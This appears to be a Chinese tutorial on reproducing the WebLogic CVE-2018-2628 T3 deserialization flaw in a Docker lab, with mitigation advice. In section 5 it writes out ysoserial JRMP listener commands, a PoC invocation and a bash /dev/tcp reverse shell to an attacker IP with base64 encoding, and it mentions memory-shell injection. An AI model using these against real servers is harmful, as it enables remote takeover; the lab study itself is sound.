news 2026/6/29 10:49:39

Docker容器化复现CVE-2018-2628:WebLogic T3协议反序列化漏洞实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Docker容器化复现CVE-2018-2628:WebLogic T3协议反序列化漏洞实战

1. 项目概述:为什么要在容器中复现CVE-2018-2628?

在安全研究和渗透测试领域,复现一个已知的漏洞(CVE)是理解其原理、评估其影响和验证修复措施有效性的关键一步。CVE-2018-2628,一个针对Oracle WebLogic Server的远程代码执行漏洞,因其影响广泛、利用方式经典,至今仍是安全从业者学习和研究的热点。然而,直接在物理机或虚拟机上搭建一个完整的WebLogic环境,不仅步骤繁琐、耗时耗力,还可能因为版本、配置等问题导致复现失败,甚至污染本地环境。

这时,Docker的价值就凸显出来了。它就像一个标准化的“沙盒”,允许我们快速、干净地拉起一个包含特定版本WebLogic的靶场环境。通过Docker,我们可以在几分钟内完成环境的搭建,进行漏洞利用测试,测试结束后一键销毁容器,不留任何痕迹。这对于需要反复测试、教学演示或快速验证补丁的场景来说,效率提升是巨大的。本文将带你从零开始,使用Docker技术,一步步搭建CVE-2018-2628的漏洞复现环境,并深入解析其背后的技术细节和利用过程,让你不仅能“复现”,更能“理解”。

2. 环境准备与核心镜像选择

2.1 Docker环境搭建与基础配置

在开始构建漏洞靶场之前,一个稳定、配置正确的Docker环境是前提。无论你使用的是Windows、macOS还是Linux,Docker Desktop或Docker Engine的安装过程已经相当成熟。这里我以Linux(Ubuntu)环境为例,因为它在服务器端更为常见。

首先,更新软件包索引并安装必要的依赖:

sudo apt-get update sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common

接着,添加Docker的官方GPG密钥和软件源:

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

最后,安装Docker引擎并启动服务:

sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io sudo systemctl start docker sudo systemctl enable docker

为了验证安装是否成功,可以运行经典的hello-world镜像:

sudo docker run hello-world

如果能看到欢迎信息,说明Docker引擎已经正常运行。

注意:为了避免每次执行docker命令都需要sudo,可以将当前用户加入docker用户组:sudo usermod -aG docker $USER。执行此命令后,需要注销并重新登录系统,或者新开一个终端会话,权限才会生效。这是一个关乎操作便利性和安全性的小细节。

2.2 靶场镜像的选型与考量

CVE-2018-2628影响的是Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3版本。为了复现,我们需要一个包含漏洞版本WebLogic的Docker镜像。通常有两个选择:

  1. 从零开始构建:下载Oracle官方安装包,编写Dockerfile,手动安装配置WebLogic。这种方式最灵活,但过程复杂,且涉及Oracle软件的许可问题。
  2. 使用社区维护的现成镜像:安全社区和研究人员为了方便,已经构建好了许多漏洞靶场镜像。这是最高效的选择。

经过搜索和对比,我选择了vulhub项目中的镜像。vulhub是一个开源的漏洞靶场集合,其镜像通常基于Alpine或Debian等轻量级系统,集成了漏洞环境和必要的利用工具,非常适合学习和测试。

我们可以直接拉取针对CVE-2018-2628的靶场镜像。但在此之前,为了加速拉取过程(特别是在国内网络环境),建议配置Docker镜像加速器。编辑或创建/etc/docker/daemon.json文件:

{ "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "https://hub-mirror.c.163.com" ] }

配置完成后,重启Docker服务:sudo systemctl restart docker

现在,拉取靶场镜像。这里我们使用一个常见的漏洞环境镜像(请注意,实际镜像名可能因仓库而异,以下为示例):

docker pull vulhub/weblogic:12.2.1.3-2018

这个命令会从Docker Hub拉取一个标签为12.2.1.3-2018的WebLogic镜像,其内部已经预置了存在CVE-2018-2628漏洞的WebLogic 12.2.1.3环境。

实操心得:选择社区镜像时,务必查看其Dockerfile或相关文档,了解其暴露的端口、默认账号密码、WebLogic路径等信息。这些信息对于后续的访问和利用至关重要。有时不同构建者制作的镜像,WebLogic的管理控制台路径或端口可能略有不同。

3. 漏洞环境部署与网络配置详解

3.1 启动容器与端口映射策略

拉取镜像后,我们需要以容器的形式运行它。Docker容器默认与宿主机网络隔离,为了让宿主机能够访问容器内的WebLogic服务,必须进行端口映射。

WebLogic默认使用7001端口提供HTTP服务,7002端口提供HTTPS服务,管理控制台通常也在7001端口。因此,我们将容器的7001端口映射到宿主机的任意一个空闲端口,例如8080端口。

使用以下命令启动容器:

docker run -d -p 8080:7001 --name weblogic-cve-2018-2628 vulhub/weblogic:12.2.1.3-2018

逐项解释这个命令的参数:

  • -d:以后台(detached)模式运行容器。这样容器启动后,终端不会被占用。
  • -p 8080:7001:这是端口映射的核心。格式为-p <宿主机端口>:<容器端口>。它将容器内部的7001端口映射到宿主机的8080端口。这意味着,你在浏览器访问http://宿主机IP:8080时,流量会被转发到容器内的7001端口。
  • --name weblogic-cve-2018-2628:为容器指定一个易于识别的名称,方便后续管理(如停止、进入容器等)。
  • vulhub/weblogic:12.2.1.3-2018:指定要运行的镜像名称和标签。

启动后,可以使用docker ps命令查看容器运行状态,确认端口映射是否正确。

3.2 服务验证与环境访问

容器启动后,需要一点时间等待WebLogic服务完全初始化。我们可以通过查看容器日志来确认进度:

docker logs -f weblogic-cve-2018-2628

-f参数可以实时跟踪日志输出。当你看到类似 “Server started in RUNNING mode” 或 “<Server started.>” 的日志时,说明WebLogic已经启动就绪。

接下来,在宿主机的浏览器中访问http://localhost:8080/console。如果一切正常,你应该能看到Oracle WebLogic Server的管理控制台登录页面。

常见问题1:访问被拒绝或连接超时如果无法访问,请按以下步骤排查:

  1. 检查容器状态docker ps确认容器状态是Up
  2. 检查端口占用:宿主机8080端口可能被其他程序占用。使用netstat -tlnp | grep :8080查看。如果被占用,可以换一个端口,例如-p 8081:7001
  3. 检查防火墙:宿主机防火墙(如ufwfirewalld)可能阻止了8080端口的访问。需要临时开放端口或关闭防火墙(仅测试环境建议)。
  4. 查看容器日志docker logs weblogic-cve-2018-2628查看是否有启动错误。
  5. 进入容器内部检查:使用docker exec -it weblogic-cve-2018-2628 /bin/bash进入容器,然后执行netstat -tlnp查看7001端口是否在监听。

通常,这类社区维护的漏洞靶场镜像会设置默认的登录凭证。对于vulhub的WebLogic镜像,常见的默认账号密码是weblogic/Oracle@123admin/password。尝试登录,如果成功进入管理控制台,则证明漏洞环境部署成功。

4. CVE-2018-2628漏洞原理深度解析

4.1 T3协议与JRMP的“危险握手”

要理解CVE-2018-2628,必须先了解WebLogic中两个核心的Java远程通信机制:T3协议JRMP(Java Remote Method Protocol)

  • T3协议:这是WebLogic自定义的、高性能的富客户端协议,用于在WebLogic Server集群节点之间、客户端与服务器之间传输序列化的Java对象。它基于TCP,提供了负载均衡、故障转移和对象压缩等特性,是WebLogic内部通信的骨干。
  • JRMP协议:这是Java RMI(远程方法调用)默认使用的线级协议,专门用于传输远程调用的请求和响应,其中也涉及Java对象的序列化与反序列化。

漏洞的根源在于,WebLogic的T3服务在解析传入的序列化数据时,存在一个设计缺陷。攻击者可以构造一个恶意的T3请求,在这个请求中“夹带”一个指向外部JRMP服务的链接。当存在漏洞的WebLogic服务器(受害者)处理这个T3请求时,它会根据请求中的指示,主动去连接攻击者控制的JRMP服务端。

这个连接过程,本质上是一次JRMP通信。在JRMP交互中,服务端(此时是攻击者)会向客户端(此时是受害者WebLogic服务器)返回一个对象。如果攻击者在JRMP服务端返回的对象是一个精心构造的、恶意的序列化对象(例如利用commons-collections库的Gadget链),而受害者WebLogic服务器的类路径上又存在相应的可利用库,那么在反序列化这个返回对象时,就会触发远程代码执行。

简单来说,攻击链是:攻击者发送恶意T3请求 → 受害者WebLogic解析后,反向连接攻击者的JRMP服务 → 攻击者的JRMP服务返回恶意序列化对象 → 受害者反序列化该对象,执行任意代码。

4.2 漏洞利用链的关键组件

漏洞的利用依赖于一条成熟的Java反序列化利用链,通常与Apache Commons Collections库有关。该库中一些类的特性(如TransformerInvokerTransformer)允许将方法调用和参数“链式”组合,最终在反序列化过程中被触发,执行诸如Runtime.getRuntime().exec(“恶意命令”)这样的操作。

在Docker靶场环境中,这些必要的依赖库(如commons-collections-3.2.1.jar)通常已经包含在WebLogic的类路径中,为漏洞利用创造了条件。这也是为什么选择特定版本镜像如此重要的原因——必须确保环境中存在可利用的Gadget链。

5. 漏洞复现实操:从环境检测到命令执行

5.1 利用工具准备与配置

我们将使用一个经典的漏洞利用工具——ysoserial。它是一个集合了多种Java反序列化利用链(Payload)的生成工具。我们需要用它来生成攻击用的序列化对象。

首先,在宿主机(或攻击机)上下载并编译ysoserial

git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests

编译完成后,在target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。

为了方便,我们将其重命名并移动到方便调用的位置:

mv target/ysoserial-0.0.6-SNAPSHOT-all.jar /tmp/ysoserial.jar

5.2 分步攻击流程演示

整个攻击过程涉及两个终端窗口:一个用于启动恶意JRMP服务(攻击服务端),另一个用于发送恶意T3请求(攻击客户端)。

第一步:启动攻击者JRMP监听服务

在终端A中,使用ysoserial启动一个JRMP监听器。这个监听器会在收到连接后,自动返回一个利用CommonsCollections1链构造的恶意序列化对象,该对象会执行我们指定的命令。

假设我们想让受害者服务器执行touch /tmp/success命令来创建一个文件作为攻击成功的标志。命令如下:

java -cp /tmp/ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “touch /tmp/success”
  • 1099:是JRMP服务监听的端口。
  • CommonsCollections1:指定使用的反序列化利用链。
  • “touch /tmp/success”:最终要执行的系统命令。

执行后,终端会显示 “Opening JRMP listener on 1099”,表示恶意JRMP服务已在1099端口就绪。

第二步:向WebLogic发送恶意T3请求

在终端B中,我们需要使用一个能够发送特定格式T3协议请求的脚本或工具。网络上有很多针对该漏洞的PoC(概念验证)脚本,例如Python编写的CVE-2018-2628.py

假设我们已获得该脚本,其核心功能是向目标WebLogic的T3端口(我们映射到了宿主机的8080端口)发送一个特殊的序列化数据包,该数据包中包含指向我们JRMP服务(假设攻击机IP为192.168.1.100,端口1099)的引用。

运行攻击脚本(具体脚本参数可能不同,以下为示例):

python CVE-2018-2628.py 192.168.1.100:8080 192.168.1.100 1099
  • 第一个参数192.168.1.100:8080是存在漏洞的WebLogic靶场地址。
  • 第二、三个参数192.168.1.100 1099是攻击者JRMP服务的地址和端口。

第三步:观察结果与验证

  1. 观察终端A(JRMP监听器):当攻击脚本发送T3请求后,受害者WebLogic容器会反向连接到我们的JRMP监听器。此时终端A会显示接收到连接的日志信息。
  2. 观察终端B(攻击脚本):脚本会显示发送成功等信息。
  3. 进入容器验证:攻击是否成功,需要进入WebLogic容器内部查看命令是否被执行。
    docker exec -it weblogic-cve-2018-2628 /bin/bash ls -la /tmp/
    如果看到/tmp/success这个文件被创建,则证明远程代码执行(RCE)成功,漏洞复现完成。

5.3 利用过程中的参数调整与技巧

  • 命令执行上下文:通过漏洞执行的命令,其权限是运行WebLogic服务的用户权限(在Docker容器内通常是rootoracle用户)。这意味着你几乎拥有容器内的最高权限。
  • 反弹Shell:为了获得一个交互式的Shell,我们可以将命令替换为反弹Shell的语句。例如,使用bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1。这需要在攻击机上用nc -lvp 监听端口开启一个监听。
  • 编码与绕过:复杂的命令或包含特殊字符的命令可能需要Base64编码或进行转义,以确保在序列化和传输过程中不被破坏。例如,可以先在本地编码命令:echo “bash -i >& /dev/tcp/192.168.1.100/4444 0>&1” | base64,然后在JRMP监听命令中执行echo “编码后的字符串” | base64 -d | bash

6. 防御措施与安全加固实践

6.1 官方补丁与临时解决方案

Oracle官方针对CVE-2018-2628发布了补丁。对于生产环境,最根本的解决方案是及时应用官方安全补丁(CPU)。补丁通常会更新核心JAR包,修复不安全的反序列化逻辑。

在无法立即打补丁的紧急情况下,可以采用以下临时缓解措施:

  1. 禁用T3协议:如果业务不需要T3协议,可以在WebLogic控制台的“服务器”配置中,禁用T3协议或仅允许受信任的IP访问T3端口。
  2. 网络层隔离:通过防火墙或安全组策略,严格限制访问WebLogic服务器T3端口(默认7001)的源IP,仅允许管理终端或集群内必要节点访问。
  3. 升级JDK:升级到更高版本的JDK(如JDK 8u191以上),可以利用JDK内置的反序列化过滤器(JEP 290)机制,在一定程度上拦截恶意的反序列化操作。但这不是针对此漏洞的专门修复,属于纵深防御的一环。

6.2 基于Docker镜像的安全构建建议

从这次漏洞复现中,我们可以反思如何在构建自己的Docker应用镜像时提升安全性:

  1. 使用最小化基础镜像:例如FROM openjdk:8-jre-alpine,Alpine Linux体积小,攻击面也相对较小。
  2. 非Root用户运行:在Dockerfile中创建专用用户来运行应用,而不是默认的root。
    RUN addgroup -S appgroup && adduser -S appuser -G appgroup USER appuser
  3. 及时更新基础镜像和依赖:定期重建镜像,以获取基础镜像和软件包(如libc)的安全更新。
  4. 扫描镜像漏洞:在CI/CD流程中集成镜像安全扫描工具(如Trivy、Clair、Docker Scout),检查已知CVE。
  5. 限制容器能力:运行容器时使用--cap-drop减少不必要的Linux能力,避免使用--privileged特权模式。

7. 常见问题排查与深度技巧

7.1 漏洞复现失败原因分析表

问题现象可能原因排查步骤与解决方案
无法访问http://localhost:8080/console1. 容器未启动或启动失败。
2. 端口映射错误或冲突。
3. 防火墙阻止。
4. WebLogic服务启动异常。
1.docker ps查看状态,docker logs查看日志。
2.docker port <容器名>查看映射,netstat检查端口占用。
3. 检查宿主机防火墙规则。
4. 进入容器检查进程 `ps aux
可以访问控制台,但利用脚本执行后无反应1. 攻击脚本与靶场版本不兼容。
2. JRMP服务未正确启动或被拦截。
3. 靶场镜像中缺少必要的利用链依赖(如commons-collections)。
4. 命令执行了但无回显。
1. 尝试换用其他公开的PoC脚本或工具。
2. 确认JRMP监听端口(如1099)未被占用,检查攻击机防火墙。
3. 进入容器查看$WL_HOME/server/lib/下是否有相关JAR。
4. 尝试执行一个会产生明显结果的命令,如ping攻击机(需容器有网络)或写文件。
JRMP监听器显示收到连接,但容器内未执行命令1. 使用的ysoserialpayload链(如CommonsCollections1)与靶场环境不匹配。
2. 命令字符串格式问题。
1. 尝试换用其他链,如CommonsCollections2,CommonsCollections3,CommonsCollections5等。
2. 对命令进行Base64编码后再在容器内解码执行,避免特殊字符问题。
执行命令成功,但反弹Shell失败1. 容器内可能没有/dev/tcp设备(BusyBox/Alpine镜像常见)。
2. 容器内没有bash,只有sh
3. 网络策略限制容器出网。
1. 使用其他方式反弹Shell,如使用Python、Perl、nc等。
2. 将命令改为sh -i >& /dev/tcp/...
3. 检查Docker守护进程或网络插件的出站规则。确认容器能访问攻击机IP。

7.2 高级技巧与扩展思考

  • 内存马注入:在真实攻击中,攻击者不满足于执行一次性命令。更常见的是利用漏洞向服务器内存中注入一个Webshell(内存马),从而获得持久的、隐蔽的后门。这通常需要将一段恶意的Java类字节码,通过反序列化漏洞加载并注册到服务器的某个Filter或Servlet中。复现环境也可以用于练习这类高级利用技术。
  • 流量分析:使用Wireshark等工具抓取T3和JRMP协议的流量,可以直观地看到序列化数据在网络中的传输形式,加深对漏洞原理的理解。你会发现T3协议数据包开头有固定的t3标识。
  • Docker网络模式的影响:本次演示使用默认的bridge网络。如果容器使用host网络模式,则端口映射不再需要,直接访问宿主机端口即可。理解不同网络模式对漏洞利用的影响,有助于在更复杂的环境中进行测试。
  • 镜像固化与分享:当你完美复现环境后,可以使用docker commit命令将当前容器状态保存为一个新的镜像,或者编写一个包含所有步骤的Dockerfile和启动脚本(docker-compose.yml)。这样,你就可以一键重建这个漏洞环境,也方便与团队成员分享。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/29 10:48:05

2026朝阳黄金回收白银回收铂金回收旧料回收怎么选?五家高实价铂金白银线下门店测评清单 + 联系方式

北京朝阳区黄金铂金白银回收门店鳞次栉比&#xff0c;鱼龙混杂&#xff0c;市民想把手头旧料变现&#xff0c;往往难辨真伪高低。为帮街坊邻里甄选靠谱渠道&#xff0c;小编实地走访朝阳各大商圈&#xff0c;筛选出本地优质诚信商户&#xff0c;整理出一份正规回收门店清单。收…

作者头像 李华
网站建设 2026/6/29 10:46:38

龙邱树莓派扩展板电路解析与智能车模实验指南

1. 龙邱树莓派扩展板硬件解析 第一次拿到龙邱树莓派扩展板时&#xff0c;我注意到这块板子设计得非常紧凑。它通过40针GPIO接口与树莓派主板直接相连&#xff0c;将原本分散的接口进行了系统化整合。最让我惊喜的是&#xff0c;这块扩展板几乎涵盖了智能车模开发所需的所有功能…

作者头像 李华
网站建设 2026/6/29 10:45:05

RA MCU硬件DSP加速实战:MACL与IIRFA配置优化指南

1. 项目概述在嵌入式系统开发中&#xff0c;尤其是涉及实时控制、音频处理或传感器数据分析的项目&#xff0c;数字信号处理&#xff08;DSP&#xff09;算法的性能往往是决定系统成败的关键。当你的应用需要处理高采样率的音频流、执行复杂的电机控制算法&#xff0c;或者对传…

作者头像 李华
网站建设 2026/6/29 10:37:56

Tengine(Nginx)的部署与核心配置实战

1. Tengine与Nginx的前世今生 第一次接触Tengine是在2015年&#xff0c;当时我们电商平台的日活突然暴涨&#xff0c;原生的Nginx在高并发场景下开始出现性能瓶颈。经过多方调研&#xff0c;最终选择了淘宝团队基于Nginx二次开发的Tengine。这么多年用下来&#xff0c;我可以负…

作者头像 李华
网站建设 2026/6/29 10:26:45

告别抢票焦虑!3分钟掌握大麦网自动化抢票神器的完整指南

告别抢票焦虑&#xff01;3分钟掌握大麦网自动化抢票神器的完整指南 【免费下载链接】DamaiHelper 大麦网演唱会演出抢票脚本。 项目地址: https://gitcode.com/gh_mirrors/dama/DamaiHelper 还在为抢不到心仪的演唱会门票而烦恼吗&#xff1f;面对秒光的票源和昂贵的黄…

作者头像 李华
网站建设 2026/6/29 10:26:02

从零到一:在Ubuntu上搭建Petalinux开发环境全攻略

1. 环境准备&#xff1a;从零开始的Ubuntu系统配置 第一次接触Petalinux开发的朋友们&#xff0c;我完全理解你们面对全新环境时的手足无措。三年前我刚接触这个领域时&#xff0c;光是搞明白Vivado和Petalinux的关系就花了整整一周时间。现在回头看&#xff0c;其实只要掌握正…

作者头像 李华